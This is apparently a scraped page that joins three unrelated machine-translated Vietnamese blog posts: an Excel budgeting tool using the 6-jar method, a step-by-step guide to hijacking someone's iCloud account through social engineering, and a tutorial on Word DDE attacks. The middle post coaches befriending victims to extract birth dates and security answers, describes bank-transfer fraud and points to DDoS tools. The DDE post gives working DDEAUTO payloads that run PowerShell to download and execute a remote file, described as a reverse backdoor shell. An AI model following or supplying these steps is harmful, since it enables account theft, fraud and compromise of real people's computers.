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Financial management is always a headache for each individual or family. Grasp that problem, the author Kelvin Duong just shared with everyone the KD Money 2019 software to manage revenue and expenditure, helping you to save money effectively by the 6-jar method. Currently, many people are still using the App on the phone, but for management on the computer, there are not yet, so the author has shared the KD Money 2019 software based on Excel and VBA.

If you are interested in Excel or work on a computer more than a phone, you can use this tool!

What is the financial management method with 6 jars?

• This is the method used by many billionaires. This method is mentioned by T.Harv Eker in the best-selling book “Secrets of the Millionaire Mind”.
• Is a financial management system that helps you focus on building from your existing assets and helps you develop yourself and improve your life for the better.
• This is also a method to help students or families with limited economic conditions manage their finances in a scientific way. If you are a student, learn this good habit! It will be very helpful!
• Percentage is not the important factor when starting. To ensure your financial success, simply start using the system and build a habit for yourself – this is the key. Nothing is perfect, especially from the start.
• You can start by dividing 500,000 – 1,000,000 VND a month into each jar.

Jar 1: NEC – Necessities | Essential spending

Total: 55% of income

This is the pot of money used to ensure daily necessities your. It can simply be said that jar 1 is for living. You will use the NEC jar for eating, living, shopping and other expenses to ensure your survival.

If your NEC Hat is currently over 80% of your income, you have 2 options to consider:

1. Increase income.
2. Reduce spending again.

But according to one statistic, an essential spending jar of 50-55% is enough for you. If you need more, your spending is not reasonable and it will spread to the remaining jars!

Jar 2: LTSS – Long Term Savings for Spending | Long-term savings

Total: 10% of income

You need the LTSS pot because it’s not how much you earn that matters but How much do you save?. Jar 2 is used for long-term goals, realizing your dreams such as buying a house, buying a car, etc. In addition, it can also be used in an emergency. This fund has two purposes:

1. Saving for the long term
2. Savings for emergencies.

You should divide this amount of 10% of your total income into two equal parts for two purposes. When you have saved enough for emergencies (equivalent to about 6 months of daily spending), you can set this aside and focus on long-term goals such as buying a house, buying a car, etc.

Cap 3: FFA – Financial Freedom Account | Financial freedom

Total: 10% of income

Financial freedom is that you have a life that is not financially dependent on anyone like your father, mother, wife, husband… The money in the FFA fund is used to work for you, when you have a lot of money in the 3 jar, you will have less mistakes. more work. This fund can only be used to invest and generate passive income.

Absolutely not spending money in this jar is always a prerequisite. You can only use the money in this Jar when you are financially free. You can save money to play the stock market, invest, do business with friends, open a small shop or your own company, etc. Spend this when you feel the project is feasible! Otherwise, keep saving until then.

Jar 4: EDU – Education | Invest in knowledge

Total: 10% of income

Invest in education and learning never afraid of holes. This is the investment fund that generates the most profit for you. The greater your knowledge base, the more you can attract big things, whether it’s money, fame or happiness. You can use the money in this jar to buy online courses, attend classes at the center, buy books…

As you grow, so does your money. When you have knowledge, you will manage your finances better – That’s why investing in knowledge is the most profitable and profitable investment!

Pot 5: PLAY | Enjoy, have fun, have fun

Total: 10% of income

The PLAY cap is used for your enjoyment and entertainment.

In T. Harv Eker’s book it is recommended that you use this money for luxurious pleasures. This jar is designed with the purpose of creating balance in your life. Therefore making money must go hand in hand with enjoyment. This hat helps you express your self-esteem; enjoy the feeling of a successful person; Do things like rich people and increase your earning potential in the future too. You use Hut PLAY to do things that make you feel like a rich person: go places you’ve never been, eat foods you’ve never eaten, etc.

You should use up this amount each month to reduce stress about money. But according to the author, if you don’t use it all in a month, save it for the morning Hut 2 (LTSS) for emergencies or you can save a large amount and then use it all at once.

Jar 6: GIVE | Charity and giving

Total: 5%

This amount is for the less fortunate around you. Use in jar 6 in activities: doing charity, helping relatives, society, community activities…

Introducing KD Money 2019 – Financial management software using Excel

KD Money help you record the amount of money received – spent. From there, estimate for you the amount of money in the future and a reasonable way to spend it. You will get a plan to use the existing money for what is most appropriate.

KD Money is designed on EXCEL with the following functions:

• Record the process of collecting and spending money completely and easily.
• Monitor revenue and expenditure in detail based on TAG#.
• Smart statistics of your total earnings per month.

RECORDING TABLE OF RECEIVING – Expense: Enter your income and expenditure data and Set the percentage of 6 jars.

INCOME: Any issues with the RECOVERY will be evident here month by month.

Expense: Any issues with out-of-pocket payments will be clearly shown here month by month.

6 phantoms: Monitor the revenue – expenditure, remaining balance of 6 “virtual” jars visually and clearly.

STATISTICAL: Re-statistic of all your assets by month and total assets at the present time.

In order to create flexibility for everyone in dividing the proportion of money jars, KD Money will allow you to set your own percentage of each jar according to yourself. By default the program will automatically set the standard percentage of the 6 jar method.

How to set up:

• Use the mouse to click on the available percentages to change.
• Balance TOTAL PROGRESS = 100% (if larger or smaller, the ratios must be reconsidered)
  *Click on the ratios to see the caption!
• As for how to add revenue, expenditure and savings information, see the Download file below.

Download KD Money

Download

Note before using KD Money:

• KD Money good use at version Microsoft EXCEL 2010 above. Excel 2007 version is still usable and cannot be used with lower versions.
• Please try to write FULL and Moderation weekly to avoid biasing your jars and total assets!

How to hack icloud using Social Engineering method

What is Social Engineering?

Social Engineering is also known as Human Hacking. It is understood as the method of collecting information of the victim. In order to serve the purpose of attacking the account or system targeted by the Hacker. Here users will take advantage of available resources to serve the hacking process. Like social relationships and tools available as well as online. Use these tools to gather information.

This can be seen as a skill to collect user information. Purpose to act as a springboard to attack the system.

Note that social hacking is a hacking scheme designed to deceive the user’s mind. You must really understand the purpose of the plan and know how to choose the right time. It is best to have insiders or virus tracking like Keylogger or RAT assistant. Be like a crocodile, know the right time to pounce on the baitn it cannot escape.

What is icloud?

If you use Apple devices such as Iphone, Ipad. Will have to use Icloud to secure information for my phone. Only someone who has an Icloud account can access the phone. And Icloud will back up information about contacts, photos, configuration on your device.

Therefore, if you lose your Icloud account, it is likely that your phone will be compromised. It may become a brick, if it is played badly by a hacker.

Social Engineering Methods

I give an example of the current popular Social Engineering method. Detail Hack a bank account through online money transfer.

First, the Hacker will learn the victim’s information. Specific information about relationships in family, society, phone number, name, age.

When victim A is known, there is a relationship with a person named B. And person B is living abroad. Hackers will attack and steal your account Facebook of B then chat with A.

Nominally, the person who is abroad needs to transfer money to Vietnam via a bank account. Hacker will entice victim A to access Phishing website (fake interface) of bank A. Phishing account and password to login.

Once the Hacker has an account to log in to online banking. But the difficulty is to pass 2-step verification (verification via phone sms). Using the Social Engineering method, the hacker will use B’s Facebook to Video Call A.

The purpose is to create trust this is indeed B. However Webcam (Camera) B’s (now a hacker) will intentionally leave it in the dark. For the purpose of not showing A’s face. Then ask A to read the sms code for B to confirm the deposit. But if the face is not visible, the victim is easily suspicious. Should be able to call the voice normally so that the victim does not suspect.

Conclusion

Thus by the method call direct electricity, taking advantage of the victim’s trust. Hacker has completely taken over A’s bank account. This is a good example of Social Engineering that hackers are using recently. If you are looking to start Hacking then this article is a product that should not be missed.

You can see more articles: Analysis of Vietcombank account being hacked 500 million VND for a comprehensive overview of Social Engineering methodology.

How to hack icloud using Social Engineering method

By the methods just analyzed and examples above. Today I will guide you how to Hack Icloud using the method Social Engineering. However, the victims are people who are not tech-savvy. But pro like AnonyViet members are hard to beat. Ahihi.

Social Engineering

Currently there is little or no Tut to Hack Ilcoud. So this will be the basic (basic) account hacking trick. You can apply to friends or people around. (who are less knowledgeable about IT)

Step 1: You go to the forgot Apple account section. Make sure you know the email in the victim’s account. You can probe by checking gmail facebook. Or find gmail through the victim’s online gaming accounts.

You can read through this article

Share Tool Scan Gmail Latest SLL

Step 2: It is important to know the exact date of birth of the victim. Therefore, you should befriend the victim before attacking. The suggestion is to create a facebook acc and chat with them. Make sure that the date of birth information you have obtained is correct. You have 12 attempts before you get locked out of your account being locked for 8 hours. Tip: can suggest the victim to use https://ask.fm/ to answer anonymous questions.

Step 3: Passing the new security question is the 3rd obstacle. Please check the victim’s information and preferences via facebook, zalo, instagram. Their security questions are often related to personal preferences or opinions. You can also go back to step 2 once you’ve made friends to chat with them on facebook. Can ask directly as an online friend.

Step 4: If you have done the above 3 steps correctly and perfectly. You will receive a text message that the password has been changed. The icloud hack here is successful. The reason this method has the word social (social). It is because it is necessary to make use of social relationships and social networks a lot.

More suggestions

You can download the recovery backup of Icloud iphone anywhere you want. You can download their full backup and if you’re lucky. Their icloud account will also link to facebook, instagram, snapchat and many other things. You will have it all.

If you want DDOS to interrupt the victim’s transmission, leaving them without an internet connection to check their online banking account. Please use this select 7 Tool DDOS toolkit.

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AnonyViet I wish you success
Lmint.

Microsoft Word is a word processing software that is installed on almost any computer. So how hackers can “hack” your computer with just word files? In Word there is a function called DDE, and Hackers can take advantage of this feature to spread Viruses.

So what is DDE?

DDE stands for Dynamic Data Exchange and it is an Office feature that allows Office applications to load data from other Office applications. For example, a Word file can update a table by pulling data from an Excel file each time the Word file is opened. This feature makes Word possible to share and exchange data with other applications.

DDE has the ability to allow a Word file when opened to execute code stored in another file and allows applications to send new data updates.

As soon as you finish reading this sentence, you should open your computer/laptop and check if your Microsoft Office has this DDE function enabled or not.

Click the Windows button -> type “Registry Editor” -> Access each item as follows: \HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Word\Security\ -> Look at the column Name if you see the name “AllowDDE” then immediately delete it (Unless you understand this function, please delete it!)

So dangerous, why didn’t Microsoft fix it?

On August 23, 2017, the first report was submitted to Microsoft.

As of September 26, 2017, Microsoft has responded that this is a FEATURE and Microsoft has issued recommendations so that Office users can protect themselves from attacks. The simplest way to stay safe is to beware of any strange messages that pop up every time you open text files.

By December 2017, Microsoft officially updated the changes for Microsoft Word, still keeping the DDE function, but by default when users open a word file with DDE, the link (or command) will not be activated automatically.

Techniques for attaching Viruses to Word files

This is not exactly a virus insertion, but will trigger the virus download command and activate when you open the Word file.

Now I will proceed to detail how the hacker has hijacked your computer with a Word file.

Basically, first open the Word file, go to Insert -> Quick Parts -> Field…

A table will appear, double click on ” = (Formula) ”

A text will appear, right-click, select “Toggle Field Codes”

Change the content in brackets to the following code:

DDEAUTO "C:\\Windows\\System32\\cmd.exe" "/k calc.exe"

The purpose of the above command: access and Command Prompt (cmd) on Windows and open the calculator application (calc.exe )

Save and when you open this file, Word will ask if you want to enable calc.exe?

When YES is pressed, the calculator application will be opened

The question here is that you can see that Word files can access the windows cmd, so instead of opening the desktop application, we can execute many other permissions such as, open powerShell, create backdoors, download files virus to the computer and take control of the computer.

Command example:

{ DDEAUTO "C:\\windows\\system32\\cmd.exe /k powershell -NoP -NonI -Exec Bypass IEX (New-Object System.Net.WebClient).DownloadFile('https://filebin.net/hrarledvb6twlgek/test.txt?t=9gxtd1yk%27%2C%27test1.txt');start 'test1.txt' # " "for security reasons click YES" }

Purpose: Download the txt file from the above website and open the downloaded file.

{ DDEAUTO "C:\\Programs\\Microsoft\\Office\\MSword.exe\\..\\..\\..\\..\\windows\\system32\\cmd.exe /k powershell -NoP -NonI -Exec Bypass IEX (New-Object System.Net.WebClient).DownloadFile('https://filebin.net/hrarledvb6twlgek/test.txt?t=9gxtd1yk%27%2C%27test1.txt');start 'RCE.exe' # " "for security reasons click YES" }

Change from txt file to EXE file and execute (depending on what purpose this EXE file was created for eg Malware, Virus, Trojan, …) In the video I demo, the purpose of the EXE file is reverse backdoor shell windows.

Prevention

With such a level of danger, what should we do?

• The first thing to mention is to do the same note I just mentioned.
• Scan for viruses with the downloaded file

Website example https://www.virustotal.com/gui/

• Beware of files from unreliable sources
• If in doubt, go to the shop to test first.

Hope this article can protect everyone from dangerous tricks of hackers

Thank you for taking the time to read this post ^^! have a nice day.

Article by author Nguyen Quoc Khanh shared in Group Cybersecurity Awareness with Hieupc and friends – 7Onez.com